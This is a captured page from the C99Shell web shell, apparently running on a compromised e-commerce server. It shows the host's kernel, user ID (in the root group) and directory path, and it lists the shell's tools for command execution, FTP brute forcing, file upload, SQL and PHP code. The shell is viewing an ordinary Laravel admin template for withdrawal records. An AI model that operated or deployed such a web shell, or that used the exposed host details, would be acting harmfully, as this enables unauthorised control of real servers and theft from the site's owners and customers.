!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/resources/views/admin/withdrawal/   drwxr-xr-x
Free 26.04 GB of 117.98 GB (22.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     edit.blade.php (9.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('admin.layouts.app')
@section('page_title', __('Edit :x', ['x' => __('Withdrawal')]))

@section('content')
    <div class="col-sm-12" id="withdrawal-edit-container">
        <div class="card">
            <div class="card-header">
                <h5><a href="{{ route('withdrawal.index') }}">{{ __('Withdrawal') }}</a> >> {{ __('Edit :x', ['x' => __('Withdrawal')]) }}</h5>
                <div class="card-header-right">
                    <div class="d-flex {{ languageDirection() == 'ltr' ? 'me-4' : 'ms-4' }} mt-2">
                        <h4 class="text-secondary {{ languageDirection() == 'ltr' ? 'me-1' : 'ms-1' }} font-18 font-bold">{{ __('Status') }}: </h4>
                        @php
                            $color = ['Pending' => 'text-warning', 'Accepted' => 'text-primary', 'Rejected' => 'text-red'];
                        @endphp
                        <h4 class="{{ $color[$withdrawal->status] }} {{ languageDirection() == 'ltr' ? 'ms-1' : 'me-1' }} font-18">{{ $withdrawal->status }}</h4>
                    </div>
                </div>
            </div>
            <div class="card-body table-border-style">
                <div class="form-tabs">
                    <ul class="nav nav-tabs" id="myTab" role="tablist">
                        <li class="nav-item">
                            <a class="nav-link font-bold active text-uppercase">{{ __('Withdrawal Information') }}</a>
                        </li>
                    </ul>
                    <div class="tab-content" id="myTabContent">
                        <div class="tab-pane fade show active" id="home" role="tabpanel" aria-labelledby="home-tab">
                            <form action="{{ route('withdrawal.update', ['id' => $withdrawal->id]) }}" method="post" class="form-horizontal">
                                @csrf
                                <div class="row">
                                    <div class="col-md-7 border col-12 p-3">
                                        <div class="form-group row mt-25">
                                            <div class="col-sm-4 font-bold text-left">{{ __('Customer') }}</div>
                                            <div class="col-sm-8">{{ optional($withdrawal->user)->name }}</div>
                                        </div>
                                        <div class="form-group row mt-25">
                                            <div class="col-sm-4 font-bold text-left">{{ __('Transaction Type') }}</div>
                                            <div class="col-sm-8">{{ $withdrawal->transaction_type }}</div>
                                        </div>
                                        <div class="form-group row mt-25">
                                            <div class="col-sm-4 font-bold text-left">{{ __('Currency') }}</div>
                                            <div class="col-sm-8">{{ optional($withdrawal->currency)->name }}</div>
                                        </div>
                                        @if ($withdrawal->transaction_type == 'Withdrawal')
                                            <div class="form-group row mt-25">
                                                <div class="col-sm-4 font-bold text-left">{{ __('Payment Method') }}</div>
                                                <div class="col-sm-8">{{ optional($withdrawal->withdrawalMethod)->method_name }}</div>
                                            </div>
                                            @php
                                                $params = (array) json_decode($withdrawal->user()->first()->withdrawalSettings()->where('withdrawal_method_id', $withdrawal->withdrawal_method_id)->first()->param);
                                            @endphp
                                            @foreach ($params as $key => $value)
                                                <div class="form-group row mt-25">
                                                    <div class="col-sm-4 font-bold text-left">{{ str_replace("_", " ", ucfirst($key)) }}</div>
                                                    <div class="col-sm-8">{{ $value }}</div>
                                                </div>
                                            @endforeach
                                        @endif
                                        <div class="form-group row mt-25">
                                            <div class="col-sm-4 font-bold text-left">{{ __('Transaction Date') }}</div>
                                            <div class="col-sm-8">{{ timeZoneFormatDate($withdrawal->transaction_date) }}</div>
                                        </div>
                                        <div class="form-group row mt-25">
                                            <label class="col-sm-4 font-bold text-left" for="status">{{ __('Status') }}</label>
                                            <div class="col-sm-8">
                                                @if ($withdrawal->status == 'Rejected')
                                                    <div class="form-group row" id="divNote">
                                                        <div id='note_txt_1'>
                                                            <div>
                                                                <p class="font-12 bg-light-red text-white px-2 py-1 rounded {{ languageDirection() == 'ltr' ? 'ms-1' : 'me-1' }}">{{ __("Rejected status can't be changed") }}</p>
                                                            </div>
                                                        </div>
                                                    </div>
                                                @else
                                                    <div class="w-50">
                                                        <select class="form-control sl_common_bx select2-hide-search" id="status" name="status" required oninvalid="this.setCustomValidity('{{ __('This field is required.') }}')">
                                                            <option value="Pending" {{ old('status', $withdrawal->status) == "Pending" ? 'selected' : ''}}>{{ __('Pending') }}</option>
                                                            <option value="Accepted" {{ old('status', $withdrawal->status) == "Accepted" ? 'selected' : ''}}>{{ __('Accepted') }}</option>
                                                            <option value="Rejected" {{ old('status', $withdrawal->status) == "Rejected" ? 'selected' : ''}}>{{ __('Rejected') }}</option>
                                                        </select>
                                                    </div>
                                                @endif

                                            </div>
                                        </div>
                                        <div class="col-sm-8 px-0">
                                            <a href="{{ route('withdrawal.index') }}" class="btn all-cancel-btn custom-btn-cancel">{{ __('Cancel') }}</a>
                                            @if ($withdrawal->status != 'Rejected')
                                                <button class="btn custom-btn-submit" type="submit" id="submitBtn"><i class="comment_spinner spinner fa fa-spinner fa-spin custom-btn-small display_none"></i><span id="spinnerText">{{ __('Update') }}</span></button>
                                            @endif
                                        </div>
                                    </div>
                                    <div class="col-md-5 col-12">
                                        <div class="border p-2">
                                            <div class="row mt-2">
                                                <div class="col-5 text-right font-bold">{{ __('Amount') }}</div>
                                                <div class="col-7">{{ formatNumber($withdrawal->amount) }}</div>
                                            </div>
                                            <div class="row mt-2">
                                                <div class="col-5 text-right font-bold">{{ __('Charge') }}</div>
                                                <div class="col-7">{{ formatNumber($withdrawal->charge_amount) }}</div>
                                            </div>
                                            <div class="row mt-2">
                                                <div class="col-5 text-right font-bold">{{ __('Commission') }}</div>
                                                <div class="col-7">{{ formatNumber($withdrawal->commission_amount) }}</div>
                                            </div>
                                            <div class="row mt-2">
                                                <div class="col-5 text-right font-bold">{{ __('Discount') }}</div>
                                                <div class="col-7">{{ formatNumber($withdrawal->discount_amount) }}</div>
                                            </div>
                                            <hr>
                                            <div class="row mt-2">
                                                <div class="col-5 text-right font-bold">{{ __('Total') }}</div>
                                                <div class="col-7">{{ formatNumber($withdrawal->total_amount) }}</div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
@endsection

@section('js')
    <script src="{{ asset('public/dist/js/custom/validation.min.js') }}"></script>
@endsection

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--